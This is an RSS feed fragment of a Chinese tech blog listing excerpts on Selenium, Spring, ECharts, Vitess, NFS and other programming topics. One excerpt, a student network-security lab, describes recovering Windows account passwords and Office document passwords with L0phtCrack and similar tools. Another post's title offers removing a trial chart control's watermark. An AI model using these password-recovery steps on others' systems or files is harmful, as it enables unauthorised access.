chromedriver.exe就是它的驱动，不要双击打开，放在python的根目录下C:\Python37&#xA;python–写网页操作（–打开网站/输入xxx/点击xxx—）第三方库（提供了网页操作的API-函数）&#xA;selenium&#xA;安装selenium&#xA;1.命令行使用以下命令安装selenium:&#xA;pip install -U selenium&#xA;但是没安装成功，如下提示&#xA;这名话的意思是我使用的版本是19.0.3，最近版本是19.3.1&#xA;用这个命令可以升级到最新版本python -m pip install --upgrade pip&#xA;升级成功：&#xA;2.安装chrom浏览器chrome和chromedriver下载&#xA;chromedrive下载地址：&#xA;http://npm.taobao.org/mirrors/chromedriver/&#xA;(ps:要与chrome浏览器版本匹配)&#xA;3.chromedriver放在python的安装目录下面即可&#xA;环境安装的博客文章地址：https://www.cnblogs.com/Simple-Small/p/10065674.html&#xA;其它fire和ie浏览器的驱动下载，均可在本篇文章中找到。&#xA;3.selenium是什么？–selenium?访问url,页面的输入框当中，输入柠檬班&#xA;python（指令：1.打开google chrome; 2.访问www.baidau.com 3.输入柠檬班）=chromedriver=chrome&#xA;接口：http://test.lemonban.com python、postman、jemeter?http–传递过来的数据，我不能够解析&#xA;python—chromedriver http请求–暗号标准？&#xA;打开浏览器：暗号1-狗 访问网页：暗号2-猪 输入文本值：暗号3-不如&#xA;python(客户端)===chromedriver(服务端) ip地址+端口号&#xA;流程：</description>
    </item>
    <item>
      <title>spring框架aop切面-不修改原代码添加新功能</title>
      <link>https://bchobby.github.io/posts/bc91f32326881b8756801515f7209bd2/</link>
      <pubDate>Fri, 13 Dec 2019 20:49:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc91f32326881b8756801515f7209bd2/</guid>
      <description>写在前面 很久以前在有道云笔记上写的笔记，打算放弃它了，将笔记迁移到这里来。文章可能还有很多不足，请大家谅解，欢迎大佬提意见。&#xA;本文使用到的东西 javaecplipsespring aop概述 aop的原理基于java动态代理模式，在java文件夹中有动态代理示例&#xA;aop添加包 aop实现除了spring包以外还需要添加的包&#xA;链接：https://pan.baidu.com/s/1acjKuNkqxdwdoz1hghy_wg&#xA;提取码：tbko&#xA;aop简单示例 链接：https://pan.baidu.com/s/1ycVitoJJ0tHjexycTOnSGw&#xA;提取码：o48k&#xA;环绕通知中参数的一些运用示例 链接：https://pan.baidu.com/s/1rr-wNlNFaCnc4AMPgBeVUA&#xA;提取码：50jy&#xA;aop定义配置文件示例 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xmlns:context=&#34;http://www.springframework.org/schema/context&#34; xmlns:aop=&#34;http://www.springframework.org/schema/aop&#34; xmlns:tx=&#34;http://www.springframework.org/schema/tx&#34; xsi:schemaLocation=&#34; http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.0.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-4.0.xsd &#34;&amp;gt; &amp;lt;!-- 创建1个业务类对象 --&amp;gt; &amp;lt;bean id=&#34;service&#34; class=&#34;com.etc.service.UserServiceImpl&#34;&amp;gt; &amp;lt;/bean&amp;gt; &amp;lt;!-- 创建1个业务类对象 --&amp;gt; &amp;lt;bean id=&#34;service2&#34; class=&#34;com.etc.service.UserServiceImpl2&#34;&amp;gt; &amp;lt;/bean&amp;gt; &amp;lt;!-- 创建1个自定义通知类对象 --&amp;gt; &amp;lt;bean id=&#34;advice&#34; class=&#34;com.etc.advice.MyAdvice&#34;&amp;gt; &amp;lt;/bean&amp;gt; &amp;lt;!-- 配置aop的织入--&amp;gt; &amp;lt;aop:config&amp;gt; &amp;lt;aop:pointcut expression=&#34;execution(* com.etc.service.UserService.*og*(..))&#34; id=&#34;pc&#34;/&amp;gt; &amp;lt;aop:pointcut expression=&#34;execution(* com.etc.service.UserService.*eg*(..))&#34; id=&#34;pc2&#34;/&amp;gt; &amp;lt;aop:aspect ref=&#34;</description>
    </item>
    <item>
      <title>echarts 中 markLine 的值超过 series 的最大范围后不显示的解决办法</title>
      <link>https://bchobby.github.io/posts/ca6f1fc6bafdbf6db0c377a8ebc16579/</link>
      <pubDate>Fri, 13 Dec 2019 17:31:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca6f1fc6bafdbf6db0c377a8ebc16579/</guid>
      <description>先说说背景. 公司的出库零件数趋势以折线图展示. 然后有这样一个需求, 就是在折线图上以横线的方式标出当前时间点的出库预期值. 既然是预期值, 那么即有可能会小于或等于实际值, 也有可能会大于实际值. 因此该需求可以用 markLine 简单实现一下:&#xA;// goal 为目标值, extent 中能够拿到所有折线图 series 的最大值和最小值 { yAxis: { max: extent =&amp;gt; extent.max &amp;gt; goal ? extent.max : goal }, series: { markLine: { data: [{ yAxis: goal }] } } } 效果 🔽&#xA;这样已经实现了功能! 然而这就可以交差了吗? 当然不是, 我们注意看上面截图的效果，纵轴最上面的一个坐标值是 13330, 而不是 15000。也就是说markLine是显示了，但是纵坐标的分割区间看起来就像是缺了最上面的一绺。按照预期13330这条标记线应该被包含在12000-15000这个分割区间范围内才对, 这好像跟我们以为的结果不太符合啊，看着十分别扭，这是一个追求完美的前端开发工程师绝对不能容忍的. 然后又仔细研究开发文档, 并没有找到有用的信息, 看来 echarts.yAxis.max 的唯一作用就是强制修改图表能够展示的最大值, 也同时影响坐标刻度的最后一个值. 这不是我们想要的.&#xA;来我们先看看原本不添加 markLine 时候的效果⏬，数据应该分布在由几条分割线组成的完整的分割区间内。&#xA;来我们再看看我们真正想要的结果⏬，同样的，我们希望包括markLine在内的数据也应该分布在几条分割线组成的完整的分割区间内&#xA;所以这是怎么做到的呢? 根据以上需求, 我们只需要得到相邻两条分割线之间的差值 (如上图, 在我的需求中应该是 3000) 和实际需要的分割段数, 然后据此计算出纵坐标最大的坐标轴刻度值, 最后通过 echarts.</description>
    </item>
    <item>
      <title>ab压测参数和响应字段说明</title>
      <link>https://bchobby.github.io/posts/aaf382fd2ad6022d0e7be4760cf15853/</link>
      <pubDate>Fri, 13 Dec 2019 13:12:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaf382fd2ad6022d0e7be4760cf15853/</guid>
      <description>转自 https://blog.csdn.net/Sunflower23/article/details/87076416&#xA;http://blog.sina.com.cn/s/blog_99baab530102vbwz.html&#xA;简介 ab是apache自带的压力测试工具，ab是apachebench命令的缩写。ab非常实用，它不仅可以对apache服务器进行网站访问压力测试，也可以对或其它类型的服务器进行压力测试，比如nginx、tomcat、IIS等&#xA;原理 ab命令会创建多个并发访问线程，模拟多个访问者同时对某一URL地址进行访问。它的测试目标是基于URL的，因此，它既可以用来测试apache的负载压力，也可以测试nginx、lighthttp、tomcat、IIS等其它Web服务器的压力&#xA;ab命令对发出负载的计算机要求很低，它既不会占用很高CPU，也不会占用很多内存。但却会给目标服务器造成巨大的负载，自己测试使用也需要注意，否则一次上太多的负载。可能造成目标服务器资源耗完，严重时甚至导致死机&#xA;3、安装&#xA;首先需要安装Apache服务器和安装最新版C++ Redistributable Visual Studio 2017组件，下载地址：https://www.apachelounge.com/download/&#xA;根据自己电脑配置下载对应的安装包，并解压到C盘，&#xA;这里需要说明一下，为什么要解压到C盘，解压有个安装说明文档， Apache需要解压在一个盘符的根目录下，这就是所谓的“ServerRoot”，默认是配置在：{Apache24}\conf\httpd.conf这个文件中的，而默认配置的ServerRoot是放在了C盘（C:/Apache24），也就是说解压到其他盘是无法启动的。当然，你也可以解压到D盘再直接修改**{Apache24}\conf\httpd.conf的配置**&#xA;这些步骤准备好了之后，就可以运行bin目录下的httpd.exe文件，运行之后后台服务就启动了，这时候在浏览器中输入：http://localhost/，如果能够看到测试页面，&#xA;就说明服务启动成功，下面就可以在DOS界面输入我们的命令了。&#xA;使用 在命令行下跳转到bin目录下，运行ab.exe&#xA;启动后就可运行我们的压测命令了，需要注意的是，运行的地址后面需要附带path，否则视为无效。一下以百度网址为例&#xA;-n是指请求总数为1000，-c请求并发数为500（最常用的命令）&#xA;可以看到，如图列出了“请求命令”、“测试结果主体”、“所测试数据返回时间的百分比”，其中，“测试结果主体”里面，具体的参数为：&#xA;Concurrency Level: 并发量。（500）&#xA;Time taken for tests: 整个测试所用的时间。（7.167s）&#xA;Complete requests: 完成的请求数。（1000）&#xA;Failed requests: 失败的请求数。（0）&#xA;Non-2xx responses: 如果接收到的HTTP响应数据的头信息中含有2XX以外的状态码，则会在测试结果中显示另一个名为“Non-2xx responses”的统计项，用于统计这部分请求数（这些请求并不算在失败的请求中）。（1000）&#xA;Total transferred: 表示所有请求的响应数据长度总和，包括每个HTTP响应数据的头信息和正文数据的长度。（484000bytes）&#xA;HTML transferred: 表示所有请求的响应数据中正文数据的总和，也就是减去了Total transferred中HTTP响应数据中的头信息的长度。（222000 bytes）&#xA;Requests per second(RPS): 吞吐率。要清楚吞吐率是与并发数相关的，即使请求总数相同，但如果并发数不一样，吞吐率还是很可能有很大差异的。 （139.53【#/second】）&#xA;计算公式：Complete requests/Time taken for tests&#xA;Time per request(mean): 用户平均请求等待时间。也就是一次并发总的时间。 （3583.500 ms）&#xA;计算公式：Time token for tests/（Complete requests/Concurrency Level）。</description>
    </item>
    <item>
      <title>oceancolor数据批量下载</title>
      <link>https://bchobby.github.io/posts/518cd530036aec51994f0fbbc4923b29/</link>
      <pubDate>Fri, 13 Dec 2019 10:46:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/518cd530036aec51994f0fbbc4923b29/</guid>
      <description>oceancolor数据批量下载 浏览器附件法wget方法 引言：苦于下载数据之苦，折腾了一天，做个笔记（钻研不够，只写出了我解决的部分）&#xA;oceancolor官网&#xA;oceancolor提供了三种方法批量下载，分别是：&#xA;1.wget，&#xA;2.cURL,&#xA;3.浏览器附件（DownThemAll）&#xA;接下来详述我所采用的一些批量下载的方法&#xA;浏览器附件法 采用的附件是Firefox&amp;gt; DownThemAll&#xA;oceancolor上是这样描述的：&#xA;If you prefer a GUI based option, there is an add-on for the Firefox web browser called ‘DownThemAll’. It is easy to configure to download only what you want from the page (even has a default for archived products -gz, tar, bz2, etc.). It allows putting a limit concurrent downloads, which is important for downloading from our servers as we limit connections to one concurrent per file and 3 files per IP - so don’t try the “accelerate” features as you’re IP may get blocked.</description>
    </item>
    <item>
      <title>git commit 忽略绕过Eslint校验</title>
      <link>https://bchobby.github.io/posts/f6727c3877fc84e02a282c3921a02ca2/</link>
      <pubDate>Thu, 12 Dec 2019 18:54:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6727c3877fc84e02a282c3921a02ca2/</guid>
      <description> git commit 忽略Eslint校验一句代码 git commit --no-verify -m &#34;提交&#34; //可以跳过代码检查 vue中js单文件绕过ESlint检测 一般不推荐绕过检测&#xA;/eslint-disabled/ ESList忽略单行代码检测(仅忽略下方一行)&#xA;/* eslint-disable-next-line */ </description>
    </item>
    <item>
      <title>【CASE】芝加哥犯罪率数据集（CatBoostClassifier）</title>
      <link>https://bchobby.github.io/posts/5b0870cd233aebff3f344d3d66ac96b7/</link>
      <pubDate>Thu, 12 Dec 2019 15:32:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b0870cd233aebff3f344d3d66ac96b7/</guid>
      <description>参考：top 2% based on CatBoostClassifier&#xA;导入库与数据 import numpy as np import pandas as pd pd.set_option(&#34;display.max_columns&#34;, None) from sklearn.preprocessing import LabelEncoder, OrdinalEncoder, OneHotEncoder from sklearn.compose import ColumnTransformer from sklearn.base import clone from sklearn.model_selection import StratifiedKFold, train_test_split from sklearn.metrics import log_loss from sklearn.decomposition import PCA from sklearn.mixture import GaussianMixture import catboost import gensim data_train = pd.read_csv(&#34;C:\\Users\\Nihil\\Documents\\pythonlearn\\data\\kaggle\\sf-crime\\train.csv&#34;) data_test = pd.read_csv(&#34;C:\\Users\\Nihil\\Documents\\pythonlearn\\data\\kaggle\\sf-crime\\test.csv&#34;) 特征处理 def transformTimeDataset(dataset): dataset[&#39;Dates&#39;] = pd.to_datetime(dataset[&#39;Dates&#39;]) dataset[&#39;Date&#39;] = dataset[&#39;Dates&#39;].dt.date dataset[&#39;n_days&#39;] = (dataset[&#39;Date&#39;]-dataset[&#39;Date&#39;].min()).apply(lambda x:x.</description>
    </item>
    <item>
      <title>WPF、Silverlight项目中使用柱状图、饼状图、折线图，去水印版及去掉“You are using the trial version”的方法</title>
      <link>https://bchobby.github.io/posts/35d2a52b31da7f1d06d6909cd1e058f5/</link>
      <pubDate>Wed, 11 Dec 2019 14:45:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35d2a52b31da7f1d06d6909cd1e058f5/</guid>
      <description>转自：请参考:http://www.cnblogs.com/sunyjie/p/3410851.html&#xA;在开发的过程中，可能会遇到柱状图、饼状图、折线图来更好的显示数据，最近整理了一下，遂放出来望需要的朋友可以参考。本文仅仅是简单显示，如需复杂显示效果请参考官网代码示例。----本文代码使用WPF，Silverlight类似代码，使用第三方wpf_visifire_v5.1.2-0_trial控件。&#xA;后续会放上Html5示例。&#xA;代码下载地址：代码下载&#xA;先放上一组截图吧：&#xA;公共数据： 1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&#xA;7&#xA;8&#xA;9&#xA;10&#xA;11&#xA;12&#xA;13&#xA;14&#xA;15&#xA;16&#xA;17&#xA;18&#xA;19&#xA;20&#xA;private List&amp;lt;string&amp;gt; strListx = new List&amp;lt;string&amp;gt;() { &#34;苹果&#34;, &#34;樱桃&#34;, &#34;菠萝&#34;, &#34;香蕉&#34;, &#34;榴莲&#34;, &#34;葡萄&#34;, &#34;桃子&#34;, &#34;猕猴桃&#34; };&#xA;private List&amp;lt;string&amp;gt; strListy = new List&amp;lt;string&amp;gt;() { &#34;13&#34;, &#34;75&#34;, &#34;60&#34;, &#34;38&#34;, &#34;97&#34;, &#34;22&#34;, &#34;39&#34;, &#34;80&#34; };&#xA;private List&amp;lt;DateTime&amp;gt; LsTime = new List&amp;lt;DateTime&amp;gt;()&#xA;{&#xA;new DateTime(2012,1,1),&#xA;new DateTime(2012,2,1),</description>
    </item>
    <item>
      <title>jieba.analyse的使用：提取关键字</title>
      <link>https://bchobby.github.io/posts/a5eca4fd5931389080e9f1cafda2e2ab/</link>
      <pubDate>Wed, 11 Dec 2019 10:52:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5eca4fd5931389080e9f1cafda2e2ab/</guid>
      <description>① jieba.analyse.extract_tags 提取关键字：&#xA;第一个参数：待提取关键词的文本&#xA;第二个参数：返回关键词的数量，重要性从高到低排序&#xA;第三个参数：是否同时返回每个关键词的权重&#xA;第四个参数：词性过滤，为空表示不过滤，若提供则仅返回符合词性要求的关键词&#xA;print(&#34;***案例1***&#34;*3) txt=&#39;那些你很冒险的梦，我陪你去疯，折纸飞机碰到雨天终究会坠落，伤人的话我直说，因为你会懂，冒险不冒险你不清楚，折纸飞机也不会回来，做梦的人睡不醒！&#39; Key=jieba.analyse.extract_tags(txt,topK=3) print(Key) #----------------------------------------------------------------------------------- print(&#34;***案例2***&#34;*3) # 字符串前面加u表示使用unicode编码 import jieba.analyse content = u&#39;《小丑》全球票房已经超过十亿美元，成为全球首部达到这个成绩的R级电影。而其自身出色的投资回报率也让其成为史上盈利数最高的“超英漫改”作品。而在几个月前，它更加夺目的一项荣耀则是首部获得威尼斯电影节最高荣誉奖的“主流”“超英漫改”作品。&#39; # 第一个参数：待提取关键词的文本 # 第二个参数：返回关键词的数量，重要性从高到低排序 # 第三个参数：是否同时返回每个关键词的权重 # 第四个参数：词性过滤，为空表示不过滤，若提供则仅返回符合词性要求的关键词 keywords = jieba.analyse.extract_tags(content, topK=5, withWeight=True, allowPOS=()) print(keywords) 输出结果：&#xA;key:&#xA;keywords:&#xA;② jieba.analyse.textrank 提取关键字：&#xA;# 同样是四个参数，但allowPOS默认为(&#39;ns&#39;, &#39;n&#39;, &#39;vn&#39;, &#39;v&#39;) # 即仅提取地名、名词、动名词、动词 keywords = jieba.analyse.textrank(content, topK=5, withWeight=True, allowPOS=(&#39;ns&#39;, &#39;n&#39;, &#39;vn&#39;, &#39;v&#39;)) # 访问提取结果 keywords keywords:仅仅输出地名、名词、动名词、动词</description>
    </item>
    <item>
      <title>开源中间件Vitess助力MySQL实现分库分表</title>
      <link>https://bchobby.github.io/posts/f370fe19e6d7ddca1efabeb688bc96b3/</link>
      <pubDate>Tue, 10 Dec 2019 18:53:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f370fe19e6d7ddca1efabeb688bc96b3/</guid>
      <description>关于Vitess&#xA;Vitess自2011年以来一直为YouTube的所有数据库流量提供服务，目前已被许多企业采用，以满足其生产需求。&#xA;Vitess是一个用于部署、扩展和管理大型mysql实例集群的数据库解决方案。它的架构是在公共或私有云架构中高效运行，就像在专用硬件上一样。它结合并扩展了许多重要的mysql特性和nosql数据库的可伸缩性。&#xA;Vitess可以解决以下问题&#xA;1. 实现MYSQL的分片，应用只需很少的更改或无需更改&#xA;2. 部署和管理大型数据库集群实例&#xA;3. 裸设备到云的迁移&#xA;Vitess相对MySQL改进&#xA;MySQL&#xA;Vitess&#xA;每个MySQL连接的内存开销都在256KB到3MB之间，具体取决于您使用的是哪个MySQL版本。随着用户群的增长，您需要添加RAM来支持更多连接，但RAM无助于加快查询速度。另外，与获取连接相关的CPU成本也很高。&#xA;Vitess基于gRPC的协议创建了非常轻量级的连接。Vitess的连接池功能使用Go的并发支持将这些轻量级连接映射到一小群MySQL连接。因此，Vitess可以轻松处理数千个连接。&#xA;编写不好的查询（如未设置LIMIT的查询）可能会对所有用户的数据库性能产生负面影响。&#xA;Vitess采用SQL解析器，使用一组可配置的规则来重写可能会损害数据库性能的查询。&#xA;分区是对数据进行分区以提高可伸缩性和性能的过程。MySQL缺乏本地分片支持，要求您编写分片代码并在应用程序中嵌入分片逻辑。&#xA;Vitess支持各种分片方案。它还可以将表迁移到不同的数据库中，并扩大或缩小碎片的数量。这些功能是非侵入式执行的，只需几秒钟的只读停机时间即可完成大部分数据转换。&#xA;使用可用性复制的MySQL集群具有主数据库和一些副本。如果主人失败，副本应该成为新的主人。这要求您管理数据库生命周期并将当前系统状态传达给您的应用程序。&#xA;Vitess有助于管理数据库场景的生命周期。它支持并自动处理各种场景，包括主站故障切换和数据备份。&#xA;MySQL群集可以为不同的工作负载定制数据库配置，例如用于写入的主数据库，用于Web客户端的快速只读副本，批处理作业的较慢只读副本等等。如果数据库具有水平分片，则每个分片都会重复该设置，并且该应用需要插入逻辑以了解如何找到正确的数据库。&#xA;Vitess使用由一致数据存储支持的拓扑，如etcd或ZooKeeper。这意味着群集视图始终是最新的，并且对于不同的客户端是一致的。Vitess还提供了一个代理，可以有效地将查询路由到最合适的MySQL实例。&#xA;Vitess整体架构&#xA;Topology Topology服务是一个包含服务器信息，分片方案和主从信息的元数据信息存储服务。Topology服务是基于一致性存储方案来实现数据一致性，例如：zookeeper和etcd。用户可以通过使用vtctl（命令行）和vtctld（web）访问Topology。&#xA;vtgate vtgate是一个轻量代理服务器，它将查询路由到正确的vttablet并将合并的结果返回给客户端。vtgate接收到请求时会对sql进行解析，根据Topology服务中的元数据判断路由到哪个vttablet； vtgate是直接接受应用程序发起的查询的服务。因为客户端只需要能够找到一个vtgate实例即可正常访问，所以客户端的实现可以非常简单。&#xA;vttablet vttablet是一个位于MySQL数据库实例前面的代理服务器，并且要求与对应的MYSQL实例部署在同一个Pod上。在JED中对于每个MySQL实例对应的都有一个Tablet实现。&#xA;vtctl vtctl是用于管理弹性数据库集群的命令行工具。它允许人或应用程序轻松地与弹性数据库实现交互。通过Vtctl可以标识主从数据库， 创建表， 启动故障转移， 执行分片（重新分片）等操作。&#xA;vtctld vtctld是一个HTTP服务器，允许您浏览存储在锁服务器中的信息。&#xA;vtworker vtworker负责处理长时间运行的进程。如： 1. 在分片分割和连接过程中重新划分不同的作业检查数据完整性 2. 垂直分割不同作业检查垂直分割和连接期间的数据完整性&#xA;vtctlclient 通过客户端进行基本功能的校验。 使用方法：vtctlclient -server 127.0.0.1:15999 command param&#xA;Vitess的使用方式&#xA;Vitess借助Kubernetes能更好的实现逻辑库及节点管理。&#xA;Kubernetes 是 Google 开源的 Docker 容器集群管理系统，Vitess 是 Kubernetes 用户的逻辑存储引擎的一个可选项。 Kubernetes 对一个计算集群中的节点进行调度，对这些节点之上的负载进行管理，并对包含有同一应用的容器进行分组以易于管理和发现。使用 Kubernetes，你可以很容易去创建和管理一个 Vitess 集群，可谓开箱即用。&#xA;基本概念：&#xA;keyspace</description>
    </item>
    <item>
      <title>分页实现的原理</title>
      <link>https://bchobby.github.io/posts/c4eb628d904f409d5a16c24ad8d6610c/</link>
      <pubDate>Tue, 10 Dec 2019 17:49:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4eb628d904f409d5a16c24ad8d6610c/</guid>
      <description>当查询结果过多时，服务器需要更多的时间进行处理并返回数据；如果不使用分页技术，服务器会将查找到的数据一次性全返回给用户端，浏览器（用户端）加载全部数据的过程是很浪费资源与时间的；而分页技术则能很好的解决这个问题；分页可将服务器返回的数据分段展示给用户，不必一次返回全部数据，仅将用户查询的当页数据或上一页或下一页数据展示给用户；既提高了服务器响应的效率，减少了响应时间；又提升了用户体验，一举两得；&#xA;这篇博客简述一下分页的实现过程；我们要创建的浏览器用户端的界面是这样的；&#xA;其功能为：&#xA;第一次访问会显示前三条数据；&#xA;用户可通过上一页按钮浏览本页面之前的3条数据，当本页面处于第一页时，点击上一页按钮会提示相关信息；&#xA;用户可通过下一页按钮浏览本页面之后的3条数据，当本页面处于最后一页时，点击下一页按钮会提示相关信息；&#xA;用户可通过模糊查询（表格上面输入查询条件，点击搜索按钮）查询想要了解的数据；&#xA;首先在MySQL数据库中创建这么一个表：（后文查询用）&#xA;每三条数据分为一页，并在分页的基础上建立模糊查询功能；&#xA;在三级联动里已有很详细的准备工作（准备必要的jar包），这里不再详述，直接看代码；&#xA;index.jsp&#xA;&amp;lt;%@ page language=&#34;java&#34; contentType=&#34;text/html; charset=UTF-8&#34; pageEncoding=&#34;UTF-8&#34;%&amp;gt; &amp;lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD HTML 4.01 Transitional//EN&#34; &#34;http://www.w3.org/TR/html4/loose.dtd&#34;&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Insert title here&amp;lt;/title&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;./js/jquery-1.8.3.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;form&amp;gt; &amp;lt;input name=&#34;name&#34; placeholder=&#34;按名字搜索&#34;/&amp;gt; &amp;lt;input name=&#34;address&#34; placeholder=&#34;按住址搜索&#34;/&amp;gt; &amp;lt;input type=&#34;button&#34; value=&#34;搜索&#34; onclick=&#34;search()&#34;/&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;div id=&#34;data&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;input type=&#34;button&#34; value=&#34;上一页&#34; onclick=&#34;up()&#34;/&amp;gt;&amp;lt;input type=&#34;button&#34; value=&#34;下一页&#34; onclick=&#34;down()&#34;/&amp;gt; &amp;lt;script&amp;gt; var pageNo=1; //默认从第一页开始 var pageTotal=0; //默认总页数为0 function up(){ if(pageNo==1){ alert(&#34;</description>
    </item>
    <item>
      <title>springboot 动态多数据源</title>
      <link>https://bchobby.github.io/posts/46d74ba0d4ddd6fc23e3c1f5dc383492/</link>
      <pubDate>Tue, 10 Dec 2019 16:18:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46d74ba0d4ddd6fc23e3c1f5dc383492/</guid>
      <description>springboot 动态多数据源 应用：同一个应用中使用多个数据库，根据需要切换数据库&#xA;********************* 相关类与接口&#xA;AbstractRoutingDataSource&#xA;public abstract class AbstractRoutingDataSource extends AbstractDataSource implements InitializingBean { ************ 部分字段 @Nullable private Map&amp;lt;Object, Object&amp;gt; targetDataSources; //目标数据源 @Nullable private Object defaultTargetDataSource; //默认数据源 ************ 常用方法 public void setTargetDataSources(Map&amp;lt;Object, Object&amp;gt; targetDataSources) { this.targetDataSources = targetDataSources; } //设置目标数据源 public void setDefaultTargetDataSource(Object defaultTargetDataSource) { this.defaultTargetDataSource = defaultTargetDataSource; } //设置默认数据源 @Nullable protected abstract Object determineCurrentLookupKey(); //抽象方法，设置数据源的key ********************* 示例：同一应用中向不同的数据库中插入数据&#xA;数据库h1：表user&#xA;数据库h2：表person&#xA;******************&#xA;config 层&#xA;DynamicDatasource：动态数据源切换&#xA;public class DynamicDataSource extends AbstractRoutingDataSource { private ThreadLocal&amp;lt;DataSource_Enum&amp;gt; threadLocal=new ThreadLocal&amp;lt;&amp;gt;(); public void switchDataSource(DataSource_Enum dataSource_enum){ threadLocal.</description>
    </item>
    <item>
      <title>Deployment 加载nfs磁盘持久化配置过程</title>
      <link>https://bchobby.github.io/posts/fdc5728b2c2ac582911c487c028d4aa9/</link>
      <pubDate>Tue, 10 Dec 2019 09:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdc5728b2c2ac582911c487c028d4aa9/</guid>
      <description>一: NFS服务器&#xA;nfs服务器: 10.10.10.69 path：/data&#xA;对于需要容器内数据持久化的，低成本的方案是自己部署nfs server。&#xA;对于性能有要求的可以使用企业级 NAS 或者 ceph glusterfs。&#xA;[root@node01 ~]#&#xA;[root@node01 ~]#&#xA;[root@node01 ~]# ps -ef|grep nfs&#xA;root 1650 2 0 Sep09 ? 00:00:00 [nfsd]&#xA;root 1651 2 0 Sep09 ? 00:00:00 [nfsd]&#xA;root 1652 2 0 Sep09 ? 00:00:00 [nfsd]&#xA;root 1654 2 0 Sep09 ? 00:00:00 [nfsd]&#xA;root 1656 2 0 Sep09 ? 00:00:00 [nfsd]&#xA;root 1657 2 0 Sep09 ? 00:00:00 [nfsd]</description>
    </item>
    <item>
      <title>网络安全 实验五 ：破解密码</title>
      <link>https://bchobby.github.io/posts/bbf1014ed07df40c0c3b09d3ee34360f/</link>
      <pubDate>Mon, 09 Dec 2019 18:44:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbf1014ed07df40c0c3b09d3ee34360f/</guid>
      <description>班级 软件工程17-1 学号 3172052*512** 姓名 晏鸡鹏 同组实验者 他老爸 实验名称 实验五 ：破解密码 日期 2019年12月9日 一、实验目的：&#xA;1．了解口令破解基本方法；&#xA;2．体会设置安全口令的重要意义。&#xA;二、实验环境：&#xA;Pentium Ⅲ、 600 MHz 以上 CPU， 128M 以上内存， 10G 以上硬盘，安装 Windows2000 以上操作系统，破解密码软件 L0phtCrack、Aoxppr.exe、APDFPRP、 MailHack.exe 等，关闭杀毒和防火墙软件。&#xA;三、实验内容：&#xA;(写出主要的上机内容及实验结果或截图)&#xA;破解 Windows2000/XP 系统密码 安装 L0phtCrack（简称 LC5）软件，运行 LC5，根据 LC5 向导（LC5 Wizard） 选择密码猜测模式，根据软件提示，一步一步进行，即可以获得本地或远程计算机 Windows2000/XP 系统所有用户密码。 说明：LC5 可以用来检测 Win NT/2000/XP/UNIX 用户是否使用了不安全的密码， 可以作为系统管理员评估用户口令安全性的工具。也是最好、最快的操作系统管理员帐 号密码破解工具。LC5 功能很多，实验时每个功能可以试做一次。 可查看密码为：123&#xA;破解 Office 文档密码 任意编写一个 Office 文档，并对该文档进行加密。如 my.doc，通过 word 菜单上 的“工具”→“选项”→“保存”→在“打开权限密码”中，为 my.doc 设置密码，如 123456。 执行 Aoxppr.</description>
    </item>
    <item>
      <title>Windows server 2012 R2 搭建文件服务器（四）：NTFS权限</title>
      <link>https://bchobby.github.io/posts/fbb8badbf46abf03c20f1df310f7beba/</link>
      <pubDate>Mon, 09 Dec 2019 17:30:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbb8badbf46abf03c20f1df310f7beba/</guid>
      <description>文章目录 NTFS权限和Share权限NTFS权限Share权限对比 准备条件实际操作1. 进入文件分享的属性2. 自定义权限3. 编辑NTFS权限4. NTFS权限5. 高级NTFS权限 几种权限组合的对比几个Bug下一步 在之前的这篇&amp;lt;&amp;lt;Windows server 2012 R2 搭建文件服务器（二）：实现分享功能&amp;gt;&amp;gt;中我们成功将5个文件夹分享给了5个不同的部门，也就是域控中的5个不同的组。但是一共遗留下来了两个问题，其中关于超过指定容量告警的功能已经在上一节&amp;lt;&amp;lt;Windows server 2012 R2 搭建文件服务器（三）：配额设置&amp;gt;&amp;gt;中解决，还有一个是对远程访问用户的权限进行限制和分类，这一节我们一起来看一看。&#xA;我是T型人小付，一位坚持终身学习的互联网从业者。喜欢我的博客欢迎在csdn上关注我，如果有问题欢迎在底下的评论区交流，谢谢。&#xA;NTFS权限和Share权限 在进行具体的操作之前有必要先来点Windows文件权限方面的理论知识。&#xA;Windows的文件权限有两类限制：NTFS权限和Share权限。这两类限制的目的都是一样的，阻止非法的文件或者文件夹访问，但是在使用上却有所区别。&#xA;NTFS权限 NTFS(New Technology File System)是Windows的一种文件系统，NTFS权限顾名思义就是针对不同用户在这个文件系统里对文件或者文件夹访问的一个规则的集合。这里的用户可以是本地的或者是远程用户。同时比起Share权限，NTFS权限拥有颗粒更细的高级选项。&#xA;在文件或者文件夹上点右键，查看属性，在Security页签里面就可以看到针对这个对象的NTFS权限了，如下图&#xA;Share权限 